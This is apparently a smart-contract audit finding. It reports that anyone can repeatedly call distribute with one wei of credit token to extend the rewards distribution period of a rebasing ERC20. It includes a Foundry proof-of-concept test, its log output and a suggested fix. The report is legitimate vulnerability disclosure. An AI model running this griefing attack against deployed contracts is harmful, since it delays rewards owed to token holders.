Anyone can prolong the time for the rewards to get distributed
mediumLines of code
Vulnerability details
Impact
Anyone who holds a few wei of credit token can prolong the time for the rewards to get distributed for the rebasing users with minimal effort.
Proof of Concept
A malicious attacker only needs a few wei of tokens to execute the attack.
- Let's imagine that the
distribute(40e18)
call to distribute 40 credit tokens has been called as a part of the successfully repaid loan. This is normal behavior. - During a
distribute
call theendTimestamp
is calculated as follows
solidityuint256 endTimestamp = block.timestamp + DISTRIBUTION_PERIOD;
- So this means that the
40 tokens
should be distributed over the next30 days
. - But each time that the
distribute
call is invoked theendTimestamp
is prolonged. - An attacker could call
distribute(1)
to distribute1 wei
of a credit token once per day to prolong the distribution for around3x
ish.
Coded POC
Add this test to the ERC20RebaseDistributor.t.sol
file and add import import "@forge-std/console.sol";
Run with forge test --match-path ./test/unit/tokens/ERC20RebaseDistributor.t.sol -vvv
solidityfunction testProlongDistribution() public { token.mint(alice, 10e18); token.mint(bobby, 20e18); vm.prank(alice); token.enterRebase(); vm.prank(bobby); token.enterRebase(); token.mint(address(this), 41e18); // Distribute 40 tokens uint256 amountToDistribute = 40e18; token.distribute(amountToDistribute); // Attackers calls distribute(1) each day to only distribute 1 wei of a token for(uint256 i = 0; i < 30; i++) { vm.warp(block.timestamp + 1 days); token.distribute(1); } uint256 distributedSupply = amountToDistribute - token.pendingDistributedSupply(); console.log("Distributed supply after 30 days:"); console.log("----------------------------------------------------"); console.log("Distributed supply : ", distributedSupply); console.log("Expected distributes supply: ", amountToDistribute); for(uint256 i = 0; i < 60; i++) { vm.warp(block.timestamp + 1 days); token.distribute(1); } console.log(); distributedSupply = amountToDistribute - token.pendingDistributedSupply(); console.log("Distributed supply after 90 days:"); console.log("----------------------------------------------------"); console.log("Distributed supply : ", distributedSupply); console.log("Expected distributes supply: ", amountToDistribute); }
solidity[PASS] testProlongDistribution() (gas: 1233397) Logs: Distributed supply after 30 days: ---------------------------------------------------- Distributed supply : 25533539461535580376 Expected distributes supply: 40000000000000000000 Distributed supply after 90 days: ---------------------------------------------------- Distributed supply : 38107800700086607344 Expected distributes supply: 40000000000000000000
Tools Used
Manual review
Recommended Mitigation Steps
Either add a minimum amount required(chosen by governance) to invoke a distribute call if the call is not done by the ProfitManager
or change how rewards are interpolated.
Assessed type
Math